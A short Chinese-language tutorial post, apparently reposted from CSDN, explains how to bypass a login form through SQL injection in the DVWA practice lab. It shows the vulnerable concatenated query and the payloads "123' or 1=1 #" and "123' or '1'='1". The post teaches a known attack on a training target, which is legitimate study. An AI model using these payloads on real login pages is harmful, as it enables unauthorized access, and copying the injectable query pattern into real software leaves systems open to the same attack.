SQL 注入基础系列2——利用 SQL 漏洞绕过登录验证

DVWA->SQL Injection

//后台sql语句
select * from users where username='$name' and password='$pwd';

当查询到数据表中存在同时满足 username 和 password 字段的数据时,会返回登录成功。例如,用户名为admin,密码为123时:

//实际执行语句
select * from users where username='admin' and password='123';
  • 使用注释绕过验证

在用户名中输入 123' or 1=1 #,密码中同样输入 123' or 1=1 #

按照 Mysql 语法,# 后面的内容会被注释掉,所以密码也可以不填。

//示例一
SELECT first_name, last_name FROM users WHERE user_id = '123' or 1=1 #';

//示例二
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #';

select * from users where username='123' or 1=1; #' and password='123' or 1=1; #';
  • 不做注释,手动闭合绕过验证
//构造输入 123' or '1'='1
select * from users where username='123' or '1'='1' and password='123' or '1'='1'

两个 or 语句使 and 前后两个判断恒等于真,所以能够成功登录。

 

猜你喜欢

转载自blog.csdn.net/weixin_37537965/article/details/85262922